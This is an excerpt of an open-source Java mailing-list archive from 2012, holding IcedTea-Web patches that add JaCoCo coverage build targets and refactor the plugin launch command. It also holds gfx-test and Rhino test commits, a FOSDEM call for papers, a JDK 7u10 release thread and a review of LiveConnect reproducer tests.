\ + jacoco_javaws_results=$(JACOCO_JAVAWS_RESULTS) ; \ + $(JACOCO_OPERATOR_EXEC) \ + report --die-soon --html-output coverage-javaws --xml-output coverage-javaws.xml --input-file $(JACOCO_JAVAWS_RESULTS) \ + --input-srcs $(NETX_SRCDIR) \ + --input-builds $(NETX_DIR)/lib/classes.jar \ + --title "IcedTea-Web javaws reproducers codecoverage" ; \ + fi; \ + if [ -f $(JACOCO_PLUGIN_RESULTS) ] ; then \ + jacoco_plugin_results=$(JACOCO_PLUGIN_RESULTS) ; \ + $(JACOCO_OPERATOR_EXEC) \ + report --die-soon --html-output coverage-plugin --xml-output coverage-plugin.xml --input-file $(JACOCO_PLUGIN_RESULTS) \ + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java \ + --input-builds $(NETX_DIR)/lib/classes.jar $(abs_top_builddir)/liveconnect/lib/classes.jar \ + --title "IcedTea-Web plugin reproducers codecoverage" ; \ + fi; \ + $(JACOCO_OPERATOR_EXEC) \ + merge --die-soon --input-files jacoco.exec $$jacoco_javaws_results $$jacoco_plugin_results --output-file jacoco-merged-reproducers.exec ; \ + $(JACOCO_OPERATOR_EXEC) \ + report --html-output coverage --xml-output coverage.xml --input-file jacoco-merged-reproducers.exec \ + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java $(JUNIT_RUNNER_SRCDIR) $(TEST_EXTENSIONS_SRCDIR) $(TEST_EXTENSIONS_TESTS_SRCDIR) "$${testcases_srcs[@]}" \ + --input-builds $(NETX_DIR)/lib/classes.jar $(abs_top_builddir)/liveconnect/lib/classes.jar $(JUNIT_RUNNER_JAR) $(TEST_EXTENSIONS_DIR) $(TEST_EXTENSIONS_TESTS_DIR) \ + --title "IcedTea-Web reproducers-tests codecoverage" ; \ + echo "restoring javaws in $(DESTDIR)$(bindir)" ; \ + rm -f $(DESTDIR)$(bindir)/$(javaws); \ + mv $$javaws_backup $(DESTDIR)$(bindir)/$(javaws); \ + echo "restoring plugin in $(DESTDIR)/$(libdir)$(BUILT_PLUGIN_LIBRARY)" ; \ + mv $$plugin_backup $(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY) ; \ + for file in $(EMMA_MODIFIED_FILES) ; do \ + mv $(TEST_EXTENSIONS_DIR)/$$file $(TEST_EXTENSIONS_DIR)/"$$file""$(EMMA_SUFFIX)" ; \ + mv $(TEST_EXTENSIONS_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" $(TEST_EXTENSIONS_DIR)/$$file ; \ + done ; +else + echo "Sorry, coverage report cant be run without jacoco installed. Try installing jacoco or specify with-jacoco value" ; + exit 5 +endif + touch $@ + +run-test-code-coverage-jacoco: stamps/run-unit-test-code-coverage-jacoco.stamp stamps/run-reproducers-test-code-coverage-jacoco.stamp +if WITH_JACOCO + cd $(TESTS_DIR) ; \ + k=0 ; \ + types=($(ALL_REPRODUCERS)); \ + for which in "$${types[@]}" ; do \ + . $(abs_top_srcdir)/NEW_LINE_IFS ; \ + simpleReproducers=(`cat $(abs_top_builddir)/junit-jnlp-dist-$$which.txt `); \ + IFS="$$IFS_BACKUP" ; \ + for dir in "$${simpleReproducers[@]}" ; do \ + testcases_srcs[k]="$(REPRODUCERS_TESTS_SRCDIR)/$$which/$$dir/testcases/" ; \ + k=$$((k+1)) ; \ + done ; \ + done ; \ + class_names=`cat $(REPRODUCERS_CLASS_NAMES)` ; \ + $(JACOCO_OPERATOR_EXEC) \ + merge --die-soon --input-files $(TEST_EXTENSIONS_DIR)/jacoco-merged-reproducers.exec $(NETX_UNIT_TEST_DIR)/jacoco.exec --output-file jacoco-merged.exec; \ + $(JACOCO_OPERATOR_EXEC) \ + report --html-output coverage --xml-output coverage.xml --input-file jacoco-merged.exec \ + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java $(JUNIT_RUNNER_SRCDIR) $(TEST_EXTENSIONS_SRCDIR) $(TEST_EXTENSIONS_TESTS_SRCDIR) "$${testcases_srcs[@]}" \ + --input-builds $(NETX_DIR)/lib/classes.jar $(abs_top_builddir)/liveconnect/lib/classes.jar $(JUNIT_RUNNER_JAR) $(TEST_EXTENSIONS_DIR) $(TEST_EXTENSIONS_TESTS_DIR) \ + --input-srcs $(NETX_UNIT_TEST_SRCDIR) \ + --input-builds $(NETX_UNIT_TEST_DIR) \ + --title "IcedTea-Web complete codecoverage" ; +else + echo "Sorry, coverage report cant be run without jacoco installed. Try installing jacoco or specify with-jacoco value" ; + exit 5 +endif + +run-test-code-coverage: stamps/run-unit-test-code-coverage.stamps stamps/run-reproducers-test-code-coverage.stamps if WITH_EMMA cd $(TESTS_DIR) ; \ k=0 ; \ @@ -1175,7 +1384,7 @@ exit 5 endif -clean-netx-tests: clean-netx-unit-tests clean-junit-runner clean-netx-dist-tests clean-test-code-coverage +clean-netx-tests: clean-netx-unit-tests clean-junit-runner clean-netx-dist-tests clean-test-code-coverage-jacoco clean-test-code-coverage if [ -e $(TESTS_DIR)/netx ]; then \ rmdir $(TESTS_DIR)/netx ; \ fi @@ -1258,6 +1467,43 @@ rm -f $(TESTS_DIR)/coverage.em ; \ fi +clean-unit-test-code-coverage-jacoco: + if [ -e stamps/run-unit-test-code-coverage-jacoco.stamp ]; then \ + rm -rf $(NETX_UNIT_TEST_DIR)/coverage ; \ + rm -f $(NETX_UNIT_TEST_DIR)/coverage.xml ; \ + rm -f $(NETX_UNIT_TEST_DIR)/jacoco.exec ; \ + rm -f $(NETX_UNIT_TEST_DIR)/tests-output_withEmma.xml ; \ + rm -f stamps/run-unit-test-code-coverage-jacoco.stamp ; \ + fi + +clean-reproducers-test-code-coverage-jacoco: + if [ -e stamps/run-reproducers-test-code-coverage-jacoco.stamp ]; then \ + rm -rf $(TEST_EXTENSIONS_DIR)/coverage-javaws ; \ + rm -f $(TEST_EXTENSIONS_DIR)/coverage-javaws.xml ; \ + rm -f $(TEST_EXTENSIONS_DIR)/jacoco_javaws.exec ; \ + rm -rf $(TEST_EXTENSIONS_DIR)/coverage-plugin ; \ + rm -f $(TEST_EXTENSIONS_DIR)/coverage-plugin.xml ; \ + rm -f $(TEST_EXTENSIONS_DIR)/jacoco_plugin.exec ; \ + rm -rf $(TEST_EXTENSIONS_DIR)/coverage ; \ + rm -f $(TEST_EXTENSIONS_DIR)/coverage.xml ; \ + rm -f $(TEST_EXTENSIONS_DIR)/jacoco-merged-reproducers.exec ; \ + rm -f $(TEST_EXTENSIONS_DIR)/tests-output_withEmma.xml ; \ + rm -f stamps/run-reproducers-test-code-coverage-jacoco.stamp ; \ + fi + +clean-test-code-coverage-jacoco: clean-unit-test-code-coverage-jacoco clean-reproducers-test-code-coverage-jacoco clean-test-code-coverage-tools-jacoco + if [ -e $(TESTS_DIR)/coverage.xml ]; then \ + rm -rf $(TESTS_DIR)/coverage ; \ + rm -f $(TESTS_DIR)/jacoco-merged.exec; \ + fi + +clean-test-code-coverage-tools-jacoco: + rm -rf $(JACOCO_OPERATOR_DIR) + rm -rf $(COVERABLE_PLUGIN_DIR) + rm -f stamps/compile-jacoco-operator.stamp; + rm -f jacoco-operator-source-files.txt + rm -f stamps/build-fake-plugin.stamp + # plugin tests @@ -1377,3 +1623,7 @@ run-unit-test-code-coverage: stamps/run-unit-test-code-coverage.stamp run-reproducers-test-code-coverage: stamps/run-reproducers-test-code-coverage.stamp + +run-unit-test-code-coverage-jacoco: stamps/run-unit-test-code-coverage-jacoco.stamp + +run-reproducers-test-code-coverage-jacoco: stamps/run-reproducers-test-code-coverage-jacoco.stamp diff -r d8b97eea56e3 -r 1fe2a4f7981f configure.ac --- a/configure.ac Tue Dec 11 14:11:39 2012 -0500 +++ b/configure.ac Tue Dec 11 20:32:26 2012 +0100 @@ -106,6 +106,10 @@ [/usr/share/java/junit4.jar /usr/share/junit-4/lib/junit.jar]) IT_FIND_OPTIONAL_JAR([emma], EMMA, [/usr/share/java/emma.jar]) +IT_FIND_OPTIONAL_JAR([jacoco], JACOCO, + [/usr/share/java/jacoco/org.jacoco.core.jar]) +IT_FIND_OPTIONAL_JAR([asm], ASM, + [/usr/share/java/objectweb-asm4/asm-all-4.0.jar /usr/share/java/objectweb-asm/asm-all.jar]) AC_CONFIG_FILES([jrunscript], [chmod u+x jrunscript]) AC_CONFIG_FILES([build.properties]) diff -r d8b97eea56e3 -r 1fe2a4f7981f plugin/icedteanp/IcedTeaNPPlugin.cc --- a/plugin/icedteanp/IcedTeaNPPlugin.cc Tue Dec 11 14:11:39 2012 -0500 +++ b/plugin/icedteanp/IcedTeaNPPlugin.cc Tue Dec 11 20:32:26 2012 +0100 @@ -1594,20 +1594,28 @@ gchar** environment = NULL; std::vector* jvm_args = get_jvm_args(); + // Construct command line parameters + + command_line.push_back(appletviewer_executable); + + //Add JVM args to command_line + for (int i = 0; i < jvm_args->size(); i++) + { + command_line.push_back(*jvm_args->at(i)); + } + + command_line.push_back(PLUGIN_BOOTCLASSPATH); + // set the classpath to avoid using the default (cwd). + command_line.push_back("-classpath"); + command_line.push_back(ICEDTEA_WEB_JRE "/lib/rt.jar"); + + // Enable coverage agent if we are running instrumented plugin +#ifdef COVERAGE_AGENT + command_line.push_back(COVERAGE_AGENT); +#endif + if (plugin_debug) { - command_line.push_back(appletviewer_executable); - - //Add JVM args to command_line - for (int i = 0; i < jvm_args->size(); i++) - { - command_line.push_back(*jvm_args->at(i)); - } - - command_line.push_back(PLUGIN_BOOTCLASSPATH); - // set the classpath to avoid using the default (cwd). - command_line.push_back("-classpath"); - command_line.push_back(ICEDTEA_WEB_JRE "/lib/rt.jar"); command_line.push_back("-Xdebug"); command_line.push_back("-Xnoagent"); @@ -1615,29 +1623,14 @@ std::string debug_flags = "-Xrunjdwp:transport=dt_socket,address=8787,server=y,"; debug_flags += plugin_debug_suspend ? "suspend=y" : "suspend=n"; command_line.push_back(debug_flags); - - command_line.push_back("sun.applet.PluginMain"); - command_line.push_back(out_pipe_name); - command_line.push_back(in_pipe_name); - } else - { - command_line.push_back(std::string(appletviewer_executable)); - - //Add JVM args to command_line - for (int i = 0; i < jvm_args->size(); i++) - { - command_line.push_back(*jvm_args->at(i)); - } - - command_line.push_back(PLUGIN_BOOTCLASSPATH); - command_line.push_back("-classpath"); - command_line.push_back(ICEDTEA_WEB_JRE "/lib/rt.jar"); - command_line.push_back("sun.applet.PluginMain"); - command_line.push_back(out_pipe_name); - command_line.push_back(in_pipe_name); - } + command_line.push_back("sun.applet.PluginMain"); + command_line.push_back(out_pipe_name); + command_line.push_back(in_pipe_name); + + // Finished command line parameters + environment = plugin_filter_environment(); std::vector vector_gchar = IcedTeaPluginUtilities::vectorStringToVectorGchar(&command_line); gchar **command_line_args = &vector_gchar[0]; diff -r d8b97eea56e3 -r 1fe2a4f7981f tests/jacoco-operator/org/jacoco/operator/Main.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/jacoco-operator/org/jacoco/operator/Main.java Tue Dec 11 20:32:26 2012 +0100 @@ -0,0 +1,288 @@ +/* +Copyright (C) 2012 Red Hat, Inc. + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License as published by +the Free Software Foundation, version 2. + +IcedTea is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA From ptisnovs at icedtea.classpath.org Wed Dec 12 02:04:13 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Wed, 12 Dec 2012 10:04:13 +0000 Subject: /hg/gfx-test: Added new tests to the test case src/org/gfxtest/t... Message-ID: changeset 76335aa60853 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=76335aa60853 author: Pavel Tisnovsky date: Wed Dec 12 11:07:14 2012 +0100 Added new tests to the test case src/org/gfxtest/testsuites/Paths.java. diffstat: ChangeLog | 5 + src/org/gfxtest/testsuites/Paths.java | 172 ++++++++++++++++++++++++++++++++++ 2 files changed, 177 insertions(+), 0 deletions(-) diffs (194 lines): diff -r 5840ab9aebf2 -r 76335aa60853 ChangeLog --- a/ChangeLog Tue Dec 11 09:26:03 2012 +0100 +++ b/ChangeLog Wed Dec 12 11:07:14 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-12 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/Paths.java: + Added new tests to this test case. + 2012-12-11 Pavel Tisnovsky * src/org/gfxtest/testsuites/PrintTestBitBltUsingBgColor.java: diff -r 5840ab9aebf2 -r 76335aa60853 src/org/gfxtest/testsuites/Paths.java --- a/src/org/gfxtest/testsuites/Paths.java Tue Dec 11 09:26:03 2012 +0100 +++ b/src/org/gfxtest/testsuites/Paths.java Wed Dec 12 11:07:14 2012 +0100 @@ -306,6 +306,178 @@ } /** + * Path is rendered using stroke paint with default stroke width. Line path + * is constructed using new Path.Float() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testLinePathFloatStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawLinePathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * Line path is constructed using new Path.Double() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testLinePathDoubleStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawLinePathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testQuadraticPathFloatStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawQuadraticPathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testQuadraticPathDoubleStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawQuadraticPathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCubicPathFloatStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawCubicPathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCubicPathDoubleStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawCubicPathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testClosedPathFloatStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawClosedPathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testClosedPathDoubleStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawClosedPathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedClosedPathFloatStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawCrossedPathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedClosedPathDoubleStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawCrossedPathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** * Entry point to the test suite. * * @param args From ptisnovs at icedtea.classpath.org Wed Dec 12 02:22:38 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Wed, 12 Dec 2012 10:22:38 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset 0fc35b431d2e in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=0fc35b431d2e author: Pavel Tisnovsky date: Wed Dec 12 11:25:42 2012 +0100 Added three new tests into the test case src/org/RhinoTests/SimpleScriptContextClassTest.java: getAnnotations() getDeclaredAnnotations() getField(). diffstat: ChangeLog | 8 ++ src/org/RhinoTests/SimpleScriptContextClassTest.java | 77 ++++++++++++++++++++ 2 files changed, 85 insertions(+), 0 deletions(-) diffs (116 lines): diff -r 971cae449335 -r 0fc35b431d2e ChangeLog --- a/ChangeLog Tue Dec 11 09:32:49 2012 +0100 +++ b/ChangeLog Wed Dec 12 11:25:42 2012 +0100 @@ -1,3 +1,11 @@ +2012-12-12 Pavel Tisnovsky + + * src/org/RhinoTests/SimpleScriptContextClassTest.java: + Added three new tests into this test case: + - getAnnotations() + - getDeclaredAnnotations() + - getField() + 2012-12-11 Pavel Tisnovsky * src/org/RhinoTests/CompilableClassTest.java: diff -r 971cae449335 -r 0fc35b431d2e src/org/RhinoTests/SimpleScriptContextClassTest.java --- a/src/org/RhinoTests/SimpleScriptContextClassTest.java Tue Dec 11 09:32:49 2012 +0100 +++ b/src/org/RhinoTests/SimpleScriptContextClassTest.java Wed Dec 12 11:25:42 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -386,6 +387,30 @@ } /** + * Test for method javax.script.SimpleScriptContext.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + "ENGINE_SCOPE", + "GLOBAL_SCOPE", + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.simpleScriptContextClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.SimpleScriptContext.getClass().getMethods() */ protected void testGetMethods() { @@ -512,6 +537,58 @@ } /** + * Test for method javax.script.SimpleScriptContext.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.simpleScriptContextClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.SimpleScriptContext.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.simpleScriptContextClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.SimpleScriptContext */ @SuppressWarnings("cast") From neugens at redhat.com Wed Dec 12 08:58:53 2012 From: neugens at redhat.com (Mario Torre) Date: Wed, 12 Dec 2012 17:58:53 +0100 Subject: FOSDEM Free Java Dev Room 2013 Message-ID: <1355331533.5802.96.camel@pegasus> Hello all! This is a reminder that the call for paper for Fosdem 2013 Free Java Dev Room has been started: http://wiki.debian.org/Java/DevJam/2013/Fosdem/CallForParticipation Since this year marks the 10th year of Free Java, I hope to see a large participation from the OpenJDK Community. Waiting forward to see your papers submitted! Cheers, Mario From gnu.andrew at redhat.com Wed Dec 12 09:21:37 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Wed, 12 Dec 2012 12:21:37 -0500 (EST) Subject: FYI: Proprietary Oracle JDK 7u10 In-Reply-To: <1786536331.14880465.1355330767804.JavaMail.root@redhat.com> Message-ID: <1563484528.14920217.1355332897295.JavaMail.root@redhat.com> As discussed on the OpenJDK 6 lists: http://mail.openjdk.java.net/pipermail/jdk7u-dev/2012-September/004630.html Oracle have released a proprietary update for 7, u10, for which there is no corresponding OpenJDK release. http://www.oracle.com/technetwork/java/javase/7u-relnotes-515228.html The next OpenJDK release will be u12. -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From neugens at redhat.com Wed Dec 12 11:58:40 2012 From: neugens at redhat.com (Mario Torre) Date: Wed, 12 Dec 2012 20:58:40 +0100 Subject: FYI: Proprietary Oracle JDK 7u10 In-Reply-To: <1563484528.14920217.1355332897295.JavaMail.root@redhat.com> References: <1563484528.14920217.1355332897295.JavaMail.root@redhat.com> Message-ID: <1355342320.5802.106.camel@pegasus> Il giorno mer, 12/12/2012 alle 12.21 -0500, Andrew Hughes ha scritto: > As discussed on the OpenJDK 6 lists: > > http://mail.openjdk.java.net/pipermail/jdk7u-dev/2012-September/004630.html > > Oracle have released a proprietary update for 7, u10, for which there is no corresponding OpenJDK release. > > http://www.oracle.com/technetwork/java/javase/7u-relnotes-515228.html > > The next OpenJDK release will be u12. Hi Andrew, That's just my opinion, of course, but the features in the release notes seems all to be related with Applets and Deployment, which are not areas covered by OpenJDK. Even if a release with the same id would be welcomed for OpenJDK, it doesn't seem that any of the advertised fixes have any impact or meaning for OpenJDK at all, so the fact that Oracle released a JDK version targeted at OSX and Windows doesn't leave us either exposed or behind in any way, unless I'm reading it incorrectly, of course. Cheers, Mario From adomurad at redhat.com Wed Dec 12 12:38:09 2012 From: adomurad at redhat.com (Adam Domurad) Date: Wed, 12 Dec 2012 15:38:09 -0500 Subject: [rfc][icedtea-web] a new reproducer LiveConnect "function parameters" tests In-Reply-To: <5072BA03.5070804@redhat.com> References: <5072BA03.5070804@redhat.com> Message-ID: <50C8EB31.2000105@redhat.com> On 10/08/2012 07:33 AM, Jana Fabrikova wrote: > 2012-10-08 Jana Fabrikova > > * /tests/reproducers/simple/JSToJFuncParam: > adding a new reproducer for the third LiveConnect > test (Tests for function parameter conversion when > calling Java functions from JavaScript.) Describing the individual files here is more standard I think > > > I would like to ask for review of the attached patch, > thank you, > Jana > [from another email:] > I would like to ask, if you can have a look at the following > reproducers, that I have send for review earlier (patches attached). > It may be the case, that they have the same errors as JSToJSet, but I > would like to Less-than-ideal perhaps, but error is a strong word, since the tests do work :) Sorry for letting these drop down the lists :) You can always ask for a review on IRC, or reply to the patch so that they reappear on the list. -------------------------------- General comments for: JSToJFuncParam JSToJFuncReturn JSToJFuncResol JSToJTypeConv I'd avoid any filenames with the same name in reproducers. Because of how the reproducer system is implemented, one copy will 'win' and the rest will be overridden, making it hard to correctly update. For the case of 'DummyObject' I think the cleanest solution, since it so simple, is to have this object be defined inside the same class file. This goes doubly so for OverloadTestHelper1,2,3. For the case of JS*auxiliary.js files -- although I do not like the approach these files take, more on this later -- if multiple copies exist its best to put them in their own 'test folder' that only has resources. Since all tests are conveniently extracted into same directory they can be used as before. Another special case worthy of test is JSObject (for all JS<->J tests). It can be used to encapsulate any javascript object. Possibly use an object like { "key" : "value" } and test that it is correctly passed around (Note: In fact passing a java JSObject to javascript will not work correctly until my patch goes in). -------------------------------- First off, JSToJFuncParam: > diff --git > a/tests/reproducers/simple/JSToJFuncParam/resources/JSToJFuncParam.html b/tests/reproducers/simple/JSToJFuncParam/resources/JSToJFuncParam.html > new file mode 100644 > --- /dev/null > +++ > b/tests/reproducers/simple/JSToJFuncParam/resources/JSToJFuncParam.html > @@ -0,0 +1,98 @@ > + > + > + > + JavaScript to Java LiveConnect - function parameter > conversion > + > + > + > + > + > + > + > + > +

The JSToJFuncParam html page

> + > + name="JSToJFuncParam" id="jstojFuncParamApplet" MAYSCRIPT> > + > + > + > +
> + > + > + > + > + > diff --git > a/tests/reproducers/simple/JSToJFuncParam/resources/JSToJ_auxiliary.js > b/tests/reproducers/simple/JSToJFuncParam/resources/JSToJ_auxiliary.js > new file mode 100644 > --- /dev/null > +++ b/tests/reproducers/simple/JSToJFuncParam/resources/JSToJ_auxiliary.js > @@ -0,0 +1,69 @@ > +/* > +JSToJ_auxiliary.js > +This file contains auxiliary JavaScript functions for LiveConnect > tests output, > +the following reproducers have this file as a common resource: > +- JSToJGet > +- JSToJSet > +- JSToJFuncParam > +- JSToJFuncReturn > +- JSToJFuncResol > +- JSToJTypeConv > +- JToJSGet > +- JToJSSet > +- JToJSFuncParam > +- JToJSFuncReturn > +- JToJSEval > +*/ > + > +function check(actual, expected, expectedtype, testid, appletName ) { > + if (actual == expected) { //the same value > + if (typeof(actual) == expectedtype) { //the same type > + passTest( testid, appletName ); > + } else { > + failTypeTest( testid, appletName, actual, expectedtype ); > + } > + } else { > + failValTest( testid, appletName, actual, expected ); > + } > +} > + > +function passTest( testid, appletName ){ > + var passStr = "Test no."+testid+" - passed."; > + //applet stdout > + appletStdOut( appletName, passStr); > + //html page > + appendMessageDiv(passStr); > +} > + > +function failValTest( testid, appletName, actual, expected ){ > + var failValStr = "Test no."+testid+" - failed, value mismatch. > expected:["+expected+"] found:["+actual+"]."; > + //applet stdout > + appletStdOut( appletName, failValStr); > + //html page > + appendMessageDiv(failValStr); > +} > + > +function failTypeTest( testid, appletName, actual, expectedtype ){ > + var failTypeStr = "Test no."+testid+" - failed, type mismatch. > expected:["+expectedtype+"] found:["+typeof(actual)+"]."; > + //applet stdout > + appletStdOutLn( appletName, failTypeStr); > + //html page > + appendMessageDiv(failTypeStr); > +} > + > +function appletStdOut( appletName, str ){ > + document.getElementById( appletName ).stdOutWrite( str ); > +} > + > +function appletStdOutLn( appletName, str ){ > + document.getElementById( appletName ).stdOutWriteln( str ); > +} > + > +function afterTestsMessage( appletName ){ > + document.getElementById( appletName ).stdOutWriteln("afterTests"); > +} > + > +function appendMessageDiv( message ){ > + var messageDiv = document.getElementById( 'messageDiv' ); > + messageDiv.appendChild( document.createTextNode(message) ); > +} > diff --git > a/tests/reproducers/simple/JSToJFuncParam/resources/JSToJava_FuncParam.jsb/tests/reproducers/simple/JSToJFuncParam/resources/JSToJava_FuncParam.js > new file mode 100644 > --- /dev/null > +++ > b/tests/reproducers/simple/JSToJFuncParam/resources/JSToJava_FuncParam.js > @@ -0,0 +1,226 @@ > +function test_funcParam_int(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = 1; > + document.getElementById( appletName ).functioniParamTest(send); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_double() > +{ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = 1.1; > + document.getElementById( appletName ).functiondParamTest(send); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_float(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = 1.11; > + document.getElementById( appletName ).functionfParamTest(send); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_long(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = 4294967300; > + document.getElementById( appletName ).functionlParamTest(send); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_boolean(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = true; > + document.getElementById( appletName ).functionbParamTest(send); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_char(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = 75; > + document.getElementById( appletName ).functioncParamTest(send); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_byte(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = 76; > + document.getElementById( appletName ).functionbyParamTest(send); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_charArray(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var arr = new Array(); > + arr[0] = 80; > + arr[1] = 81; > + document.getElementById( appletName ).functioncaParamTest(arr); > + }catch(e){ > + appletStdOut( appletName, e ); > + 